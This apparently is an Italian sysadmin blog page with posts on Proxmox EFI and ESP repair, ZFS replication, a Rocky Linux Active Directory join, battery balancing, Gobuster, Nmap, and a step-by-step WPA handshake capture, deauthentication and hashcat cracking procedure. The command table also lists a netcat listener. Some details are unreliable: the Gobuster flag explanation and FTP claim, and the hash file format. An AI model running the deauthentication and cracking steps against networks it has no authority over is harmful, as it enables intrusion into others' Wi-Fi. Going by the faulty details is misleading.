Boot EFI errato su proxmox



In questo articolo descrivo un caso reale di malfunzionamento EFI su un nodo Proxmox, dove il sistema avviava dalla partizione sbagliata invece che dalla ESP corretta. Questo causava avvii incoerenti, kernel non aggiornati e potenziali rischi di boot failure.

## Sintomi del problema

Il comando `efibootmgr -v` mostrava:

- BootCurrent: 0003 → avvio da fallback `BOOTX64.EFI`
- BootOrder: `0003,0004,0002,0000`
- Due ESP presenti:
  - **CE60** (GUID `0c569779-e73f-4c73-b97f-e8594cb4868d`)
  - **11A4** (GUID `40e24607-4ca2-4f4a-926c-7792a0f3dc72`)

La ESP corretta (CE60) conteneva:
- `Boot0002` → systemd‑boot (entry primaria)
- `Boot0004` → fallback `BOOTX64.EFI`

La ESP secondaria (11A4) conteneva:
- `Boot0000` → systemd‑boot
- `Boot0003` → fallback `BOOTX64.EFI`

Il problema era chiaro: il BIOS avviava dalla entry `0003`, cioè dalla fallback della ESP sbagliata.

## Analisi tecnica

Proxmox utilizza **systemd‑boot** e sincronizza i kernel nella ESP montata in `/boot/efi`.  
La partizione corretta era **CE60**, ma il BootOrder dava priorità alla fallback `0003`, portando il sistema a caricare `BOOTX64.EFI` invece dei kernel aggiornati.

## Soluzione

La soluzione è stata correggere l’ordine di boot, impostando:

1. `Boot0002` → CE60 systemd‑boot (primaria)
2. `Boot0004` → CE60 fallback
3. `Boot0003` → 11A4 fallback
4. `Boot0000` → 11A4 systemd‑boot

Comando utilizzato:

```bash
efibootmgr -o 0002,0004,0003,0000

Verifica dopo il riavvio

Dopo il reboot:

  • BootCurrent: 0002 → avvio corretto dalla ESP CE60
  • BootOrder: 0002,0004,0003,0000 → ordine sicuro e coerente

Il nodo ora avvia correttamente dalla ESP principale, con fallback attivi e una catena di sicurezza completa.

Conclusione

Il problema era causato da un BootOrder errato che privilegiava una fallback EFI invece della ESP principale. Correggendo l’ordine con efibootmgr, Proxmox torna a utilizzare i kernel aggiornati e garantisce un avvio stabile e sicuro. Questa procedura è utile in tutti i casi in cui Proxmox presenta avvii incoerenti o fallback EFI attivi come primaria.

Erorre EFI no space left on node proxmox

# Procedura adattata al mio nodo Proxmox per pulizia ESP e fix kernel

## 1. Verificare l’UUID della ESP
cat /etc/kernel/proxmox-boot-uuids
# Output nel mio caso:
# 67D6-E50C

## 2. Verificare quale device corrisponde all’UUID
ls -al /dev/disk/by-uuid/67D6-E50C
# Output nel mio caso:
# /dev/disk/by-uuid/67D6-E50C -> ../../nvme0n1p2
# La mia ESP è quindi /dev/nvme0n1p2

## 3. Montare manualmente la ESP
mkdir /tmp/myesp
mount /dev/nvme0n1p2 /tmp/myesp

## 4. Elencare i kernel presenti nella ESP
ll /tmp/myesp/*/*
# Qui individuo le directory dei kernel vecchi da rimuovere:
# /tmp/myesp/.../5.15.108-1-pve
# /tmp/myesp/.../6.2.16-5-pve

## 5. Rimuovere SOLO i kernel vecchi
rm -rf /tmp/myesp/*/*/5.15.108-1-pve
rm -rf /tmp/myesp/*/*/6.2.16-5-pve

## 6. Smontare la ESP
umount /tmp/myesp

## 7. Riparare dpkg e completare l’installazione del kernel
apt-get -f install

Eliminazione manuale (riveduta)

###############################################
# SEQUENZA CORRETTA PULIZIA ESP + RIMOZIONE KERNEL 6.x
# Adattata ESATTAMENTE a ciò che ha scritto l’utente
###############################################

echo "=== 1) Identifica ESP ==="
cat /etc/kernel/proxmox-boot-uuids
ls -al /dev/disk/by-uuid/B130-7F39   # -> ../../sda2

echo "=== 2) Monta ESP ==="
mkdir -p /tmp/myesp
mount /dev/sda2 /tmp/myesp

echo "=== 3) Elenca kernel presenti nell'ESP ==="
ls -l /tmp/myesp

echo "=== 4) Cancella TUTTI i kernel vecchi (serie 6.x) ==="
rm -f /tmp/myesp/initrd.img-6*
rm -f /tmp/myesp/vmlinuz-6*

echo "=== 5) Verifica che NON ci siano più file 6.x ==="
ls -l /tmp/myesp

echo "=== 6) Controlla spazio ESP ==="
df -h /tmp/myesp
du -ah /tmp/myesp

echo "=== 7) Smonta ESP ==="
umount /tmp/myesp

echo "=== 8) Ripara dpkg se necessario ==="
apt-get -f install

echo "=== 9) Rimuovi i kernel 6.x ==="
apt purge proxmox-kernel-6.*

echo "=== 10) Verifica kernel installati ==="
dpkg -l | grep proxmox-kernel

echo "=== 11) Verifica boot configuration ==="
proxmox-boot-tool status

echo "=== COMPLETATO ==="

🔥 Comandi di Amministrazione Linux ↔ macOS — La Tabella Definitiva per Dominare Ogni Sistema

FunzioneLinuxmacOSNote
Gestione Servizi
Avviare un serviziosystemctl start nomelaunchctl start nomemacOS usa launchd
Fermare un serviziosystemctl stop nomelaunchctl stop nomeOllama: launchctl stop io.ollama
Riavviare un serviziosystemctl restart nomeStop + StartmacOS non ha restart diretto
Stato serviziosystemctl status nomelaunchctl print system/nomeEsempio: launchctl print system/io.ollama
Abilitare all’avviosystemctl enable nomeAutomatico se .plist presentemacOS non ha “enable”
Disabilitare all’avviosystemctl disable nomelaunchctl unload /Library/LaunchDaemons/nome.plistOppure rimuovere il .plist
Processi e Sistema
Lista processips auxps auxUguale
Kill processokill -9 PIDkill -9 PIDUguale
Monitor risorsehtoptophtop installabile via brew
File System
Spazio dischidf -hdf -hUguale
Spazio directorydu -sh *du -sh *Uguale
Permessichmod 755 filechmod 755 fileUguale
Proprietariochown user:group filechown user:group fileUguale
Rete
IP configurazioneip aifconfigmacOS non ha “ip”
Routingip routenetstat -rnUguale
Pingping -c 4 hostping -c 4 hostUguale
Traceroutetraceroute hosttraceroute hostUguale
DNS lookupdig dominiodig dominioUguale
Flush DNSN/Asudo dscacheutil -flushcache
sudo killall -HUP mDNSResponder
macOS ha DNS aggressivo
ARP tablearp -narp -nUguale
Netcatnc -lvp 4444nc -lvp 4444Perfetto per test porte
Test porta TCPnc -zv host 22nc -zv host 22Uguale
TCPDumptcpdump -i eth0tcpdump -i en0Interfacce diverse
Firewall
Regole firewalliptables -LN/AmacOS usa Application Firewall
NATiptables -t nat -LN/AmacOS non espone NAT via CLI

Replica ZFS in Proxmox: perché lo spazio su disco sembra “esplodere”?

Molti utenti che iniziano a sperimentare la replica ZFS in ambienti Proxmox si trovano davanti a una situazione curiosa: una VM da 700 GB sembra occupare oltre 1,2 TB di spazio su ogni nodo. Ma come è possibile? In questo articolo analizziamo le cause reali, sfatiamo alcuni miti e offriamo strumenti pratici per monitorare e ottimizzare lo spazio.

🧠 Cos’è la replica ZFS in Proxmox?

La replica ZFS in Proxmox è un meccanismo che consente di copiare i dischi virtuali (vDisks) di una VM da un nodo a un altro, sfruttando le potenzialità di ZFS:

  • Replica incrementale basata su snapshot temporanei
  • Trasferimento solo dei blocchi modificati
  • Nessuna copia automatica del file .conf della VM (serve manualmente o via HA)

📦 Perché lo spazio occupato è maggiore della dimensione della VM?

1. Overhead ZFS

ZFS non memorizza solo i dati, ma anche:

  • Metadati per ogni blocco
  • Checksum per l’integrità
  • Struttura interna dei dataset
  • Intent log (ZIL) e cache (ARC/L2ARC)

Ogni disco virtuale è un dataset ZFS, quindi l’overhead si moltiplica.

2. Scritture reali vs spazio nominale

Una VM da 700 GB può scrivere molti più dati nel tempo (log, swap, file temporanei). ZFS conserva i blocchi modificati, anche se il file originale è stato cancellato.

3. Snapshot manuali

Se l’utente crea snapshot manuali e non li elimina, ZFS conserva i blocchi differenziali, aumentando lo spazio usato.

4. Snapshot di replica

Proxmox crea snapshot temporanei per la replica, con nomi tipo:

__replicate_<VMID>-<replicaID>_<timestamp>__

Questi snapshot non vengono conservati a lungo, ma se la replica è frequente o fallisce, possono accumularsi temporaneamente.

5. Compressione inefficace

Se ZFS ha compression=off o i dati sono poco compressibili (es. video, immagini), lo spazio occupato sarà vicino al reale.

🔍 Come analizzare lo spazio occupato

Ecco alcuni comandi utili da eseguire via terminale:

zfs get compression,compressratio rpool/data/subvol-100-disk-0

Verifica se la compressione è attiva e quanto è efficace.

zfs list -o name,used,refer,mountpoint

Confronta lo spazio totale usato con quello referenziato.

zfs get usedbysnapshots rpool/data/subvol-100-disk-0

Controlla quanto spazio è occupato dagli snapshot.

zfs list -t snapshot

Visualizza tutti gli snapshot attivi.

🧊 QCOW2 vs RAW: impatto sullo spazio

FormatoTipoSpazio inizialeSnapshotPerformance
QCOW2ThinSolo spazio usatoBuona
RAWThickSpazio pienoOttima

Su ZFS, anche i dischi RAW possono essere “thin” grazie alla compressione e ai blocchi sparsi, ma QCOW2 è nativamente più flessibile.

✅ Conclusione

Se vedi uno spazio ZFS occupato superiore alla dimensione della VM, non è un bug: è il risultato di come ZFS gestisce i dati, la replica e la protezione. Per tenere sotto controllo lo spazio:

  • Monitora gli snapshot manuali
  • Verifica la compressione
  • Analizza i blocchi modificati
  • Evita di duplicare VM con ID diversi che puntano agli stessi dischi

Rocky limux Join AD 2008

Esattamente 2 anni orsono , Red Hat divulgò la notizia che avrebbe cessato lo sviluppo di CentOS , ponendo lo stato di fatto che tale sistema era giunto in EOL .

Personalmente ho iniziato a cercare delle alternative e quindi tra queste ho optato per la distro “Rocky Linux” , compatibile con sistemi Red Hat . Questa offre la potenza e la stabilità in contesti di produzione server e workstation davvero apprezzabili . Ho eseguito l’installazione di tale distro su un sistema cluster Proxmox , che tra l’altro , aggiungo , che ho dovuto apportare piccole modifiche nella creazione di tale VM , in quanto si presentavano continui Kernel Panic al boot .

Le modifiche anzi la modifica necessaria per l’avvio di tale sistema , sta nel cambiare il default della cpu KVM in host CPU , con l’opzione CPU MAX per un contesto cluster . Fatto questo , la distro si avvia regolarmente senza alcun problema di sorta .

Avendo una rete gestita da un server Linux con servizi AD ( foresta 2008 ) elenco qui a seguire i passi necessar per l’accredito al dominio AD :

In primis , occorre entrare in console del sistema e procedere all’installazione dei pacchetti essenziali per effettuare il join su AD .

sudo dnf install realmd oddjob oddjob-mkhomedir sssd adcli krb5-workstation
sudo realm join ad.mycompany.local
sudo update-crypto-policies --set DEFAULT:AD-SUPPORT

Bene , premessa a quanto scritto do per scontato che la date e l’ora di sistema sia corretti e che il resolv.conf punti correttmente al server AD con relativo search .

search internal2.lan
nameserver 192.168.3.123 

Eseguire la procedura classica di join tramite il comando:

realm join -u administartor ad.internal2.lan

Ecco a seguire il file sssd.conf modificato e funzionante .

[sssd]
domains = ad.internal2.lan
config_file_version = 2
services = nss, pam, ssh
default_domain_suffix = ad.internal2.lan
[nss]

homedir_substring = /home

[domain/ad.internal2.lan]

ad_gpo_access_control = permissive krb5_store_password_if_offline = True cache_credentials = True krb5_realm = AD.INTERNAL2.LAN realmd_tags = manages-system joined-with-adcli id_provider = ad override_homedir = /home/%u fallback_homedir = /home/%u@%d override_shell = /bin/bash ad_domain = ad.internal2.lan use_fully_qualified_names = True ldap_id_mapping = True access_provider = ad default_shell = /bin/bash dyndns_update = true dyndns_refresh_interval = 43200 dyndns_update_ptr = true dyndns_ttl = 3600

Molto importante risulta la direttiva “override_shell= /bin/bash ” , in quanto senza questo parametro risulta impossibile avere la shell bash subito dopo aver effettuato il login in ssh .

Bene , eseguite tutte le operazioni sopra descritte , si è pronti per effettuare e provare le connessioni in ssh , chiaramente utilizzando utenti del dominio AD . Per chi volesse installare l’interfaccia GUI , personalmente ho utilizzato GDM e la suite Gnome , senza riscontrare alcun problema di sorta , tranne la sezione di autentica che può essere risolta aggiungendo “adm” allo user del dominio con il quale si effettua il collegamento RDP . Inoltre è importante modiifcare la sezione visudo inerente ai permessi o meglio all’uso del comando “SU” .

📘 DIARIO TECNICO COMPLETO — TOP‑BALANCE LiFePO₄ (BasenGreen 16s/200Ah)

📅 12 giugno — INIZIO LAVORI

  • V_MAX: 3,589 V
  • V_MIN: 3,380 V
  • ΔV: 0,207–0,215 V
  • Celle 1–2 alte, 8–13 basse
  • Pacco sano ma fortemente sbilanciato

📅 13 giugno — PRIMO RECUPERO

  • ΔV: ~0,132 V
  • Bleed efficace
  • Delta dimezzato
  • Celle alte meno polarizzate

📅 21 giugno — STABILIZZAZIONE

  • ΔV: ~0,130 V
  • Cella 8 e 13 recuperano
  • Pacco più uniforme

📅 23 giugno — MIGLIORAMENTO COSTANTE

  • ΔV: 0,123–0,130 V
  • Bleed su 6–7 celle
  • Punta stabile

📅 25 giugno — SOTTO 0,10 V

  • ΔV: 0,092–0,101 V
  • Pacco quasi uniforme
  • SOC 100%

📅 27 giugno — PRIMO CICLO COMPLETO

  • ΔV: ~0,094 V
  • 56,60 V per 1h → 55,20 V float
  • Cella 8 ancora bassa ma stabile

📅 29 giugno — COMPATTAZIONE

  • ΔV: 0,089 V
  • Pacco più compatto
  • Cella 8 vicina al gruppo

📅 30 giugno — SVOLTA

  • ΔV: 0,078–0,080 V
  • Nessuna cella sotto 3,40 V
  • Cella 8 finalmente in banda
  • Pacco molto stabile

📅 1 luglio — PUNTA

  • ΔV: ~0,119 V
  • Celle alte meno polarizzate
  • Cella 8 stabile

📅 1 luglio — FLOAT

  • ΔV: ~0,070 V
  • Pacco compatto
  • Comportamento ripetibile

📅 2 luglio — PUNTA

  • ΔV: 0,105 V
  • Punta stabile
  • Cella 8 in recupero continuo

📅 2 luglio — FLOAT (MIGLIOR GIORNO)

  • ΔV: 0,061–0,064 V
  • Profilo piatto
  • Cella 8 perfettamente integrata
  • Pacco ufficialmente bilanciato

📅 8 luglio — STATO ATTUALE (TOP ASSOLUTO)

🔋 Dati reali di oggi

  • V_SUM: 55,19–55,21 V
  • V_MAX: 3,453–3,455 V
  • V_MIN: 3,430–3,431 V
  • ΔV: 0,022–0,024 V → MIGLIOR DELTA DI SEMPRE
  • Cella 8: 3,430–3,431 V → stabile, prevedibile, perfettamente integrata
  • MOSFET: apertura regolare
  • Full_Cha_Prot: gestito perfettamente
  • Temperatura: 34–36 °C → ideale
  • SOH: 100%
  • Comportamento: ripetibile, stabile, senza deriva

🎯 Significato tecnico

  • Il pacco ha raggiunto la stabilità definitiva.
  • La curva di scarica è perfetta: la 8 scende più veloce (normale), ma resta sempre in banda.
  • La curva di punta è pulita: nessuna cella scappa, bleed efficace.
  • Il delta è da laboratorio (20–24 mV).
  • Il pacco è ora super potente, super stabile, super prevedibile.

📊 SINTESI TECNICA (12 giugno → 8 luglio)

  • Delta iniziale: ~0,21 V
  • Delta attuale: 0,022–0,024 V
  • Miglioramento totale: ~0,185 V
  • Cella 8: 3,380 V → 3,430–3,431 V
  • Profilo celle: piatto, nessuna deriva
  • Stabilità: massima
  • Comportamento: ripetibile
  • Pacco: ufficialmente bilanciato e maturo

🧠 Conclusione finale (8 luglio)

👉 Il pacco è entrato nella sua forma definitiva.

👉 Bilanciamento completato.

👉 Delta da 20–24 mV: livello premium.

👉 Cella 8 perfettamente integrata.

🗺️ Guida Completa: Padronanza con Gobuster

🎯 Obiettivo di Gobuster
Scoprire la struttura nascosta di un sito web. In pratica, se il proprietario ha messo file importanti come /backup, /config o /admin ma non li ha linkati nel menu principale, Gobuster li trova per te.

⚙️ Prerequisiti

  1. Gobuster installato: (Su Linux/macOS: sudo apt install gobuster oppure scaricandolo da GitHub).
  2. Un Target Web: Un indirizzo IP o un dominio che vuoi testare (es. http://192.168.8.17).
  3. Un File di Wordlist: Una lista di nomi comuni per directory e file. Il più famoso è dirb/common.txt o le liste contenute in pacchetti come SecLists.

🚀 Livello 1: La Scansione Base (Directory Enumeration)
Questo è il comando che userai il 90% delle volte per iniziare. Stai dicendo a Gobuster: “Prova tutti questi nomi di cartelle su questo indirizzo.”

gobuster dir -u http://[TARGET_URL] -w /path/to/wordlist.txt

Spiegazione dei parametri:

  • -d (o –directory-list): Indica che vuoi cercare directory e file.
  • -u: Specifica l’URL del target web (es. http://192.168.8.17).
  • -w: Wordlist. Questo è il cuore dello strumento. Devi puntare al percorso della lista di parole che contiene migliaia di nomi comuni (admin, backup, api, ecc.).

Esempio Pratico:

gobuster dir -u http://192.168.8.17 -w /usr/share/wordlists/dirb/common.txt

🔬 Livello 2: Scansione di File Specifiche (File Enumeration)
A volte non cerchi una cartella, ma un file specifico che potrebbe essere nascosto. Puoi usare la stessa logica cambiando il tipo di ricerca o usando liste più mirate.

Esempio: Se sospetti che ci sia un backup in formato ZIP:

gobuster dir -u http://192.168.8.17 -w /usr/share/wordlists/dirbuster/directories.jbrofuzz

⚙️ Livello 3: Scansione di Protocolli Diversificati (Versatilità)
Gobuster non è solo per HTTP! Puoi usarlo anche su altri protocolli, come FTP o SMB, se hai le liste appropriate.

Esempio (FTP):

gobuster dir -u ftp://[TARGET_URL] -w /path/to/ftp_wordlist.txt

💡 Consigli dell’Esperto per la Padronanza:

  1. Non usare solo una wordlist: Se il primo tentativo con common.txt non dà risultati, prova liste più specifiche (es. quelle contenenti nomi di versioni software o termini legati al tuo settore).
  2. Analizza i Risultati: Gobuster ti restituirà un codice di stato HTTP per ogni tentativo:
    • 200 OK: TROVATO! Questa è una directory/file accessibile e pubblica. È il risultato più importante.
    • 403 Forbidden: Il server sa che la risorsa esiste, ma ti impedisce di vederla (potrebbe essere protetta da un firewall o autenticazione). È un indizio prezioso!
    • 404 Not Found: La directory/file non esiste.

In sintesi: Gobuster è il tuo “occhio” che spia ogni angolo del sito web, mentre Nmap è la tua “radar” che vede se le porte sono aperte. Usali in sequenza!

NMAP

Guida Operativa Nmap: Scansione e Analisi di Rete

🔥 Strumento essenziale per amministratori, pentester e analisti di rete

Nmap (Network Mapper) è uno dei tool più potenti per analizzare una rete, scoprire host attivi, identificare porte aperte, servizi in esecuzione e possibili vulnerabilità. Questa guida è ottimizzata per WordPress, con box colorati, icone SVG e tabelle professionali.

🎯 Obiettivi della guida

  • Scoprire quali dispositivi sono attivi nella rete
  • Identificare porte e servizi
  • Rilevare versioni software e sistema operativo
  • Eseguire analisi di vulnerabilità con NSE

Sintassi Base

nmap [opzioni]

  • IP singolo: 192.168.1.50
  • Range: 192.168.1.1-100
  • Subnet: 192.168.1.0/24
  • File host: -iL hosts.txt

🔍 Host Discovery – Scoprire chi è vivo

Prima di scansionare le porte, devi sapere quali host rispondono.

Ping Scan (solo discovery)

nmap -sn 192.168.1.0/24

Identifica rapidamente i dispositivi attivi tramite ICMP e ARP.

Port Scanning – Analisi delle porte

TCP SYN Scan (half-open, consigliato)

nmap -sS 192.168.1.50

Veloce, poco invasivo, richiede privilegi elevati.

TCP Connect Scan (full handshake)

nmap -sT 192.168.1.50

Usalo quando non hai privilegi root.

UDP Scan (DNS, SNMP, DHCP)

nmap -sU 192.168.1.50

Più lento per natura, ma indispensabile per servizi UDP.

Specificare porte e velocità

Porte

  • Tutte le porte: nmap -p- 192.168.1.50
  • Porte specifiche: nmap -p 80,443,3389
  • Range: nmap -p 1-1024

Velocità dello scan

  • -T0: stealth
  • -T3: normale
  • -T4: aggressivo

📡 Enumerazione Avanzata

Service Version Detection

nmap -sV 192.168.1.50

Identifica software e versione (Apache, SSH, ecc.).

OS Detection

nmap -O 192.168.1.50

Fingerprinting del sistema operativo.

Nmap Scripting Engine (NSE)

Analisi vulnerabilità:

nmap --script=vuln 192.168.1.50

Enumerazione web:

nmap --script=http-enum 192.168.1.50

Tabella: Tipi di Scan e Utilizzo

Tipo ScanComandoUtilizzo
SYN Scannmap -sSRapido, stealth
Connect Scannmap -sTSenza privilegi root
UDP Scannmap -sUServizi UDP
Version Detectionnmap -sVSoftware e versioni
OS Detectionnmap -OSistema operativo

Scansioni Consigliate per Pentest

ObiettivoComando
Discovery hostnmap -sn 192.168.3.0/24
Port scan rapidonmap -sS -T4 -F 192.168.3.0/24
Enumerazione dettagliatanmap -sV -p- 192.168.1.50
Analisi vulnerabilitànmap –script=vuln 192.168.1.50

📘 Mini Cheat‑Sheet Finale

  • Host discovery: nmap -sn
  • SYN scan: nmap -sS
  • Versioni servizi: nmap -sV
  • OS detection: nmap -O
  • Vulnerabilità: nmap –script=vuln
  • Full scan: sudo nmap -sS -sV -O -sU -T4

Pentest WPA uso personale !

Guida Tecnica: Acquisizione e Decodifica Handshake WPA

Questa procedura utilizza la suite aircrack-ng su interfaccia wireless wlx20e51702a6ac per catturare un handshake WPA e decodificarlo via hashcat.

Fase 1: Preparazione dell’ambiente

airmon-ng check kill Identifica e termina i processi che interferiscono con la modalità monitor (es. NetworkManager, wpa_supplicant). Rimuove conflitti di gestione radio prima dell’attivazione.

Fase 2: Attivazione modalità monitor

airmon-ng start wlx20e51702a6ac Passa l’interfaccia dalla modalità managed alla modalità monitor, permettendo la ricezione dei pacchetti broadcast e il tuning sulla frequenza corretta.

Fase 3: Scansione generale

airodump-ng -w capture wlx20e51702a6ac Avvia l’ascolto su tutti i canali salvando i pacchetti nel file capture-01.cap. Serve a identificare il BSSID e il canale di lavoro del target.

Fase 4: Monitoraggio mirato

airodump-ng -c 4 --bssid CC:2D:21:31:3F:81 -w capture wlx20e51702a6ac Blocca l’interfaccia sul canale 4 e sul BSSID specifico. Garantisce che tutti i pacchetti del target siano registrati nel file di acquisizione senza perdita per switch di canale.

Fase 5: Iniezione Deauthentication

aireplay-ng --deauth 10 -a CC:2D:21:31:3F:81 wlx20e51702a6ac Invia 10 pacchetti di deautenticazione al BSSID indicato. Forza un client a disconnettersi e riconnettersi, innescando la procedura di negoziazione del handshake WPA.

Fase 6: Conversione formato hcxpcapng

hcxpcapngtool -o handshake_hash.hccapx capture-01.cap Converte il dump .cap nel formato nativo per hashcat (.hccapx). Questo passaggio è necessario perché hashcat non legge direttamente i file aircrack-ng senza conversione.

Fase 7: Attacco brute-force con Hashcat

hashcat -m 22000 handshake_hash.hccapx /usr/share/wordlists/Wordlist_82_million.txt -w 3 --status Esegue l’attacco offline sulla password WPA:

  • -m 22000: Algoritmo specifico per il formato hcxpcapng (WPA2).
  • /usr/share/wordlists/...: Dizionario di confronto.
  • -w 3: Imposta la velocità del worker su “high” per ottimizzare l’uso della GPU/CPU.
  • --status: Mostra i progress dell’elaborazione in tempo reale.

Rocky linux e join su AD ( foresta 2008 )

Come tutti sappiamo , il progetto Centos verrà abbandonato a breve , pertanto molti utenti ricorreranno ai “ripari” , ovvero si cercherà un rimpiazzo a tale distro .

Esattamente 2 anni orsono , Red Hat divulgò la notizia che avrebbe cessato lo sviluppo di CentOS , ponendo lo stato di fatto che tale sistema era giunto in EOL .

Personalmente ho iniziato a cercare delle alternative e quindi tra queste ho optato per la distro “Rocky Linux” , compatibile con sistemi Red Hat . Questa offre la potenza e la stabilità in contesti di produzione server e workstation davvero apprezzabili . Ho eseguito l’installazione di tale distro su un sistema cluster Proxmox , che tra l’altro , aggiungo , che ho dovuto apportare piccole modifiche nella creazione di tale VM , in quanto si presentavano continui Kernel Panic al boot .

Le modifiche anzi la modifica necessaria per l’avvio di tale sistema , sta nel cambiare il default della cpu KVM in host CPU , con l’opzione CPU MAX per un contesto cluster . Fatto questo , la distro si avvia regolarmente senza alcun problema di sorta .

Avendo una rete gestita da un server Linux con servizi AD ( foresta 2008 ) elenco qui a seguire i passi necessar per l’accredito al dominio AD :

In primis , occorre entrare in console del sistema e procedere all’installazione dei pacchetti essenziali per effettuare il join su AD .

sudo dnf install realmd oddjob oddjob-mkhomedir sssd adcli krb5-workstation
sudo realm join ad.mycompany.local
sudo update-crypto-policies --set DEFAULT:AD-SUPPORT
search internal2.lan
nameserver 192.168.3.123 
realm join -u administartor ad.internal2.lan
[sssd]
domains = ad.internal2.lan
config_file_version = 2
services = nss, pam, ssh
default_domain_suffix = ad.internal2.lan
[nss]
homedir_substring = /home
[domain/ad.internal2.lan]
ad_gpo_access_control = permissive
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = AD.INTERNAL2.LAN
realmd_tags = manages-system joined-with-adcli 
id_provider = ad
override_homedir = /home/%u   
fallback_homedir = /home/%u@%d
override_shell = /bin/bash
ad_domain = ad.internal2.lan
use_fully_qualified_names = True
ldap_id_mapping = True
access_provider = ad
default_shell = /bin/bash
dyndns_update = true
dyndns_refresh_interval = 43200
dyndns_update_ptr = true
dyndns_ttl = 3600

Molto importante risulta la direttiva “override_shell= /bin/bash ” , in quanto senza questo parametro risulta impossibile avere la shell bash subito dopo aver effettuato il login in ssh .

Bene , eseguite tutte le operazioni sopra descritte , si è pronti per effettuare e provare le connessioni in ssh , chiaramente utilizzando utenti del dominio AD . Per chi volesse installare l’interfaccia GUI , personalmente ho utilizzato GDM e la suite Gnome , senza riscontrare alcun problema di sorta , tranne la sezione di autentica che può essere risolta aggiungendo “adm” allo user del dominio con il quale si effettua il collegamento RDP . Inoltre è importante modiifcare la sezione visudo inerente ai permessi o meglio all’uso del comando “SU” .